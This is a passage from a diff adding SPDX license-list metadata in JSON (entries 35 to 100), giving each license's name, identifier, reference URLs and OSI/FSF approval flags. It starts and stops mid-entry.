+ "detailsUrl": "https://spdx.org/licenses/OSL-1.1.json",
+ "referenceNumber": 35,
+ "name": "Open Software License 1.1",
+ "licenseId": "OSL-1.1",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/OSL1.1"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/NGPL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NGPL.json",
+ "referenceNumber": 36,
+ "name": "Nethack General Public License",
+ "licenseId": "NGPL",
+ "seeAlso": [
+ "https://opensource.org/licenses/NGPL"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-2.5-AU.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-2.5-AU.json",
+ "referenceNumber": 37,
+ "name": "Creative Commons Attribution 2.5 Australia",
+ "licenseId": "CC-BY-2.5-AU",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by/2.5/au/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Unicode-TOU.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Unicode-TOU.json",
+ "referenceNumber": 38,
+ "name": "Unicode Terms of Use",
+ "licenseId": "Unicode-TOU",
+ "seeAlso": [
+ "http://www.unicode.org/copyright.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-3-Clause-No-Nuclear-License.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-3-Clause-No-Nuclear-License.json",
+ "referenceNumber": 39,
+ "name": "BSD 3-Clause No Nuclear License",
+ "licenseId": "BSD-3-Clause-No-Nuclear-License",
+ "seeAlso": [
+ "http://download.oracle.com/otn-pub/java/licenses/bsd.txt?AuthParam\u003d1467140197_43d516ce1776bd08a58235a7785be1cc"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OPUBL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OPUBL-1.0.json",
+ "referenceNumber": 40,
+ "name": "Open Publication License v1.0",
+ "licenseId": "OPUBL-1.0",
+ "seeAlso": [
+ "http://opencontent.org/openpub/",
+ "https://www.debian.org/opl",
+ "https://www.ctan.org/license/opl"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-SA-2.0-UK.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-SA-2.0-UK.json",
+ "referenceNumber": 41,
+ "name": "Creative Commons Attribution Non Commercial Share Alike 2.0 England and Wales",
+ "licenseId": "CC-BY-NC-SA-2.0-UK",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc-sa/2.0/uk/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/NLOD-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NLOD-2.0.json",
+ "referenceNumber": 42,
+ "name": "Norwegian Licence for Open Government Data (NLOD) 2.0",
+ "licenseId": "NLOD-2.0",
+ "seeAlso": [
+ "http://data.norge.no/nlod/en/2.0"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/gnuplot.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/gnuplot.json",
+ "referenceNumber": 43,
+ "name": "gnuplot License",
+ "licenseId": "gnuplot",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Gnuplot"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/EPICS.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/EPICS.json",
+ "referenceNumber": 44,
+ "name": "EPICS Open License",
+ "licenseId": "EPICS",
+ "seeAlso": [
+ "https://epics.anl.gov/license/open.php"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Info-ZIP.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Info-ZIP.json",
+ "referenceNumber": 45,
+ "name": "Info-ZIP License",
+ "licenseId": "Info-ZIP",
+ "seeAlso": [
+ "http://www.info-zip.org/license.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OLDAP-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OLDAP-2.0.json",
+ "referenceNumber": 46,
+ "name": "Open LDAP Public License v2.0 (or possibly 2.0A and 2.0B)",
+ "licenseId": "OLDAP-2.0",
+ "seeAlso": [
+ "http://www.openldap.org/devel/gitweb.cgi?p\u003dopenldap.git;a\u003dblob;f\u003dLICENSE;hb\u003dcbf50f4e1185a21abd4c0a54d3f4341fe28f36ea"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CERN-OHL-P-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CERN-OHL-P-2.0.json",
+ "referenceNumber": 47,
+ "name": "CERN Open Hardware Licence Version 2 - Permissive",
+ "licenseId": "CERN-OHL-P-2.0",
+ "seeAlso": [
+ "https://www.ohwr.org/project/cernohl/wikis/Documents/CERN-OHL-version-2"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-3-Clause-No-Nuclear-Warranty.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-3-Clause-No-Nuclear-Warranty.json",
+ "referenceNumber": 48,
+ "name": "BSD 3-Clause No Nuclear Warranty",
+ "licenseId": "BSD-3-Clause-No-Nuclear-Warranty",
+ "seeAlso": [
+ "https://jogamp.org/git/?p\u003dgluegen.git;a\u003dblob_plain;f\u003dLICENSE.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/AML.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/AML.json",
+ "referenceNumber": 49,
+ "name": "Apple MIT License",
+ "licenseId": "AML",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Apple_MIT_License"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/MulanPSL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MulanPSL-1.0.json",
+ "referenceNumber": 50,
+ "name": "Mulan Permissive Software License, Version 1",
+ "licenseId": "MulanPSL-1.0",
+ "seeAlso": [
+ "https://license.coscl.org.cn/MulanPSL/",
+ "https://github.com/yuwenlong/longphp/blob/25dfb70cc2a466dc4bb55ba30901cbce08d164b5/LICENSE"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Multics.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Multics.json",
+ "referenceNumber": 51,
+ "name": "Multics License",
+ "licenseId": "Multics",
+ "seeAlso": [
+ "https://opensource.org/licenses/Multics"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/VSL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/VSL-1.0.json",
+ "referenceNumber": 52,
+ "name": "Vovida Software License v1.0",
+ "licenseId": "VSL-1.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/VSL-1.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/RSA-MD.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/RSA-MD.json",
+ "referenceNumber": 53,
+ "name": "RSA Message-Digest License",
+ "licenseId": "RSA-MD",
+ "seeAlso": [
+ "http://www.faqs.org/rfcs/rfc1321.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-PDDC.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-PDDC.json",
+ "referenceNumber": 54,
+ "name": "Creative Commons Public Domain Dedication and Certification",
+ "licenseId": "CC-PDDC",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/publicdomain/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-SA-2.1-JP.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-SA-2.1-JP.json",
+ "referenceNumber": 55,
+ "name": "Creative Commons Attribution Share Alike 2.1 Japan",
+ "licenseId": "CC-BY-SA-2.1-JP",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-sa/2.1/jp/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/LPPL-1.2.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LPPL-1.2.json",
+ "referenceNumber": 56,
+ "name": "LaTeX Project Public License v1.2",
+ "licenseId": "LPPL-1.2",
+ "seeAlso": [
+ "http://www.latex-project.org/lppl/lppl-1-2.txt"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Spencer-94.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Spencer-94.json",
+ "referenceNumber": 57,
+ "name": "Spencer License 94",
+ "licenseId": "Spencer-94",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Henry_Spencer_Reg-Ex_Library_License"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OLDAP-1.2.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OLDAP-1.2.json",
+ "referenceNumber": 58,
+ "name": "Open LDAP Public License v1.2",
+ "licenseId": "OLDAP-1.2",
+ "seeAlso": [
+ "http://www.openldap.org/devel/gitweb.cgi?p\u003dopenldap.git;a\u003dblob;f\u003dLICENSE;hb\u003d42b0383c50c299977b5893ee695cf4e486fb0dc7"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/O-UDA-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/O-UDA-1.0.json",
+ "referenceNumber": 59,
+ "name": "Open Use of Data Agreement v1.0",
+ "licenseId": "O-UDA-1.0",
+ "seeAlso": [
+ "https://github.com/microsoft/Open-Use-of-Data-Agreement/blob/v1.0/O-UDA-1.0.md",
+ "https://cdla.dev/open-use-of-data-agreement-v1-0/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OLDAP-2.7.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OLDAP-2.7.json",
+ "referenceNumber": 60,
+ "name": "Open LDAP Public License v2.7",
+ "licenseId": "OLDAP-2.7",
+ "seeAlso": [
+ "http://www.openldap.org/devel/gitweb.cgi?p\u003dopenldap.git;a\u003dblob;f\u003dLICENSE;hb\u003d47c2415c1df81556eeb39be6cad458ef87c534a2"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Glulxe.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Glulxe.json",
+ "referenceNumber": 61,
+ "name": "Glulxe License",
+ "licenseId": "Glulxe",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Glulxe"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/iMatix.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/iMatix.json",
+ "referenceNumber": 62,
+ "name": "iMatix Standard Function Library Agreement",
+ "licenseId": "iMatix",
+ "seeAlso": [
+ "http://legacy.imatix.com/html/sfl/sfl4.htm#license"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/TAPR-OHL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/TAPR-OHL-1.0.json",
+ "referenceNumber": 63,
+ "name": "TAPR Open Hardware License v1.0",
+ "licenseId": "TAPR-OHL-1.0",
+ "seeAlso": [
+ "https://www.tapr.org/OHL"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/NBPL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NBPL-1.0.json",
+ "referenceNumber": 64,
+ "name": "Net Boolean Public License v1",
+ "licenseId": "NBPL-1.0",
+ "seeAlso": [
+ "http://www.openldap.org/devel/gitweb.cgi?p\u003dopenldap.git;a\u003dblob;f\u003dLICENSE;hb\u003d37b4b3f6cc4bf34e1d3dec61e69914b9819d8894"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/LiLiQ-R-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LiLiQ-R-1.1.json",
+ "referenceNumber": 65,
+ "name": "Licence Libre du Québec – Réciprocité version 1.1",
+ "licenseId": "LiLiQ-R-1.1",
+ "seeAlso": [
+ "https://www.forge.gouv.qc.ca/participez/licence-logicielle/licence-libre-du-quebec-liliq-en-francais/licence-libre-du-quebec-reciprocite-liliq-r-v1-1/",
+ "http://opensource.org/licenses/LiLiQ-R-1.1"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Noweb.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Noweb.json",
+ "referenceNumber": 66,
+ "name": "Noweb License",
+ "licenseId": "Noweb",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Noweb"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC0-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC0-1.0.json",
+ "referenceNumber": 67,
+ "name": "Creative Commons Zero v1.0 Universal",
+ "licenseId": "CC0-1.0",
+ "seeAlso": [
+ "https://creativecommons.org/publicdomain/zero/1.0/legalcode"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-Protection.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-Protection.json",
+ "referenceNumber": 68,
+ "name": "BSD Protection License",
+ "licenseId": "BSD-Protection",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/BSD_Protection_License"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-2.5.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-2.5.json",
+ "referenceNumber": 69,
+ "name": "Creative Commons Attribution Non Commercial 2.5 Generic",
+ "licenseId": "CC-BY-NC-2.5",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc/2.5/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Zlib.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Zlib.json",
+ "referenceNumber": 70,
+ "name": "zlib License",
+ "licenseId": "Zlib",
+ "seeAlso": [
+ "http://www.zlib.net/zlib_license.html",
+ "https://opensource.org/licenses/Zlib"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.3-invariants-or-later.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.3-invariants-or-later.json",
+ "referenceNumber": 71,
+ "name": "GNU Free Documentation License v1.3 or later - invariants",
+ "licenseId": "GFDL-1.3-invariants-or-later",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/fdl-1.3.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-3.0-AT.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-3.0-AT.json",
+ "referenceNumber": 72,
+ "name": "Creative Commons Attribution 3.0 Austria",
+ "licenseId": "CC-BY-3.0-AT",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by/3.0/at/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/LPPL-1.3c.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LPPL-1.3c.json",
+ "referenceNumber": 73,
+ "name": "LaTeX Project Public License v1.3c",
+ "licenseId": "LPPL-1.3c",
+ "seeAlso": [
+ "http://www.latex-project.org/lppl/lppl-1-3c.txt",
+ "https://opensource.org/licenses/LPPL-1.3c"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/EPL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/EPL-1.0.json",
+ "referenceNumber": 74,
+ "name": "Eclipse Public License 1.0",
+ "licenseId": "EPL-1.0",
+ "seeAlso": [
+ "http://www.eclipse.org/legal/epl-v10.html",
+ "https://opensource.org/licenses/EPL-1.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.1-invariants-or-later.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.1-invariants-or-later.json",
+ "referenceNumber": 75,
+ "name": "GNU Free Documentation License v1.1 or later - invariants",
+ "licenseId": "GFDL-1.1-invariants-or-later",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/fdl-1.1.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/ANTLR-PD-fallback.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/ANTLR-PD-fallback.json",
+ "referenceNumber": 76,
+ "name": "ANTLR Software Rights Notice with license fallback",
+ "licenseId": "ANTLR-PD-fallback",
+ "seeAlso": [
+ "http://www.antlr2.org/license.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OLDAP-2.4.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OLDAP-2.4.json",
+ "referenceNumber": 77,
+ "name": "Open LDAP Public License v2.4",
+ "licenseId": "OLDAP-2.4",
+ "seeAlso": [
+ "http://www.openldap.org/devel/gitweb.cgi?p\u003dopenldap.git;a\u003dblob;f\u003dLICENSE;hb\u003dcd1284c4a91a8a380d904eee68d1583f989ed386"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OLDAP-2.3.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OLDAP-2.3.json",
+ "referenceNumber": 78,
+ "name": "Open LDAP Public License v2.3",
+ "licenseId": "OLDAP-2.3",
+ "seeAlso": [
+ "http://www.openldap.org/devel/gitweb.cgi?p\u003dopenldap.git;a\u003dblob;f\u003dLICENSE;hb\u003dd32cf54a32d581ab475d23c810b0a7fbaf8d63c3"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/ZPL-2.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/ZPL-2.1.json",
+ "referenceNumber": 79,
+ "name": "Zope Public License 2.1",
+ "licenseId": "ZPL-2.1",
+ "seeAlso": [
+ "http://old.zope.org/Resources/ZPL/"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Apache-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Apache-2.0.json",
+ "referenceNumber": 80,
+ "name": "Apache License 2.0",
+ "licenseId": "Apache-2.0",
+ "seeAlso": [
+ "https://www.apache.org/licenses/LICENSE-2.0",
+ "https://opensource.org/licenses/Apache-2.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/SGI-B-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SGI-B-2.0.json",
+ "referenceNumber": 81,
+ "name": "SGI Free Software License B v2.0",
+ "licenseId": "SGI-B-2.0",
+ "seeAlso": [
+ "http://oss.sgi.com/projects/FreeB/SGIFreeSWLicB.2.0.pdf"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Hippocratic-2.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Hippocratic-2.1.json",
+ "referenceNumber": 82,
+ "name": "Hippocratic License 2.1",
+ "licenseId": "Hippocratic-2.1",
+ "seeAlso": [
+ "https://firstdonoharm.dev/version/2/1/license.html",
+ "https://github.com/EthicalSource/hippocratic-license/blob/58c0e646d64ff6fbee275bfe2b9492f914e3ab2a/LICENSE.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-SA-3.0-DE.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-SA-3.0-DE.json",
+ "referenceNumber": 83,
+ "name": "Creative Commons Attribution Share Alike 3.0 Germany",
+ "licenseId": "CC-BY-SA-3.0-DE",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-sa/3.0/de/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-SA-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-SA-1.0.json",
+ "referenceNumber": 84,
+ "name": "Creative Commons Attribution Non Commercial Share Alike 1.0 Generic",
+ "licenseId": "CC-BY-NC-SA-1.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc-sa/1.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/LGPL-2.1-or-later.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LGPL-2.1-or-later.json",
+ "referenceNumber": 85,
+ "name": "GNU Lesser General Public License v2.1 or later",
+ "licenseId": "LGPL-2.1-or-later",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/lgpl-2.1-standalone.html",
+ "https://opensource.org/licenses/LGPL-2.1"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-3.0-US.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-3.0-US.json",
+ "referenceNumber": 86,
+ "name": "Creative Commons Attribution 3.0 United States",
+ "licenseId": "CC-BY-3.0-US",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by/3.0/us/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/TCP-wrappers.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/TCP-wrappers.json",
+ "referenceNumber": 87,
+ "name": "TCP Wrappers License",
+ "licenseId": "TCP-wrappers",
+ "seeAlso": [
+ "http://rc.quest.com/topics/openssh/license.php#tcpwrappers"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.2-invariants-or-later.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.2-invariants-or-later.json",
+ "referenceNumber": 88,
+ "name": "GNU Free Documentation License v1.2 or later - invariants",
+ "licenseId": "GFDL-1.2-invariants-or-later",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/fdl-1.2.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Eurosym.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Eurosym.json",
+ "referenceNumber": 89,
+ "name": "Eurosym License",
+ "licenseId": "Eurosym",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Eurosym"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.1.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.1.json",
+ "referenceNumber": 90,
+ "name": "GNU Free Documentation License v1.1",
+ "licenseId": "GFDL-1.1",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/fdl-1.1.txt"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/LPPL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LPPL-1.0.json",
+ "referenceNumber": 91,
+ "name": "LaTeX Project Public License v1.0",
+ "licenseId": "LPPL-1.0",
+ "seeAlso": [
+ "http://www.latex-project.org/lppl/lppl-1-0.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/LGPL-2.0+.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/LGPL-2.0+.json",
+ "referenceNumber": 92,
+ "name": "GNU Library General Public License v2 or later",
+ "licenseId": "LGPL-2.0+",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/lgpl-2.0-standalone.html"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/SGI-B-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SGI-B-1.0.json",
+ "referenceNumber": 93,
+ "name": "SGI Free Software License B v1.0",
+ "licenseId": "SGI-B-1.0",
+ "seeAlso": [
+ "http://oss.sgi.com/projects/FreeB/SGIFreeSWLicB.1.0.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/APL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/APL-1.0.json",
+ "referenceNumber": 94,
+ "name": "Adaptive Public License 1.0",
+ "licenseId": "APL-1.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/APL-1.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/libtiff.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/libtiff.json",
+ "referenceNumber": 95,
+ "name": "libtiff License",
+ "licenseId": "libtiff",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/libtiff"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/AFL-2.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/AFL-2.1.json",
+ "referenceNumber": 96,
+ "name": "Academic Free License v2.1",
+ "licenseId": "AFL-2.1",
+ "seeAlso": [
+ "http://opensource.linux-mirror.org/licenses/afl-2.1.txt"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-1.0.json",
+ "referenceNumber": 97,
+ "name": "Creative Commons Attribution Non Commercial 1.0 Generic",
+ "licenseId": "CC-BY-NC-1.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc/1.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GD.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GD.json",
+ "referenceNumber": 98,
+ "name": "GD License",
+ "licenseId": "GD",
+ "seeAlso": [
+ "https://libgd.github.io/manuals/2.3.0/files/license-txt.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/AFL-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/AFL-1.1.json",
+ "referenceNumber": 99,
+ "name": "Academic Free License v1.1",
+ "licenseId": "AFL-1.1",
+ "seeAlso": [
+ "http://opensource.linux-mirror.org/licenses/afl-1.1.txt",
+ "http://wayback.archive.org/web/20021004124254/http://www.opensource.org/licenses/academic.php"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-ND-3.0-IGO.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-ND-3.0-IGO.json",
+ "referenceNumber": 100,
+ "name": "Creative Commons Attribution Non Commercial No Derivatives 3.0 IGO",
+ "licenseId": "CC-BY-NC-ND-3.0-IGO",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc-nd/3.0/igo/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
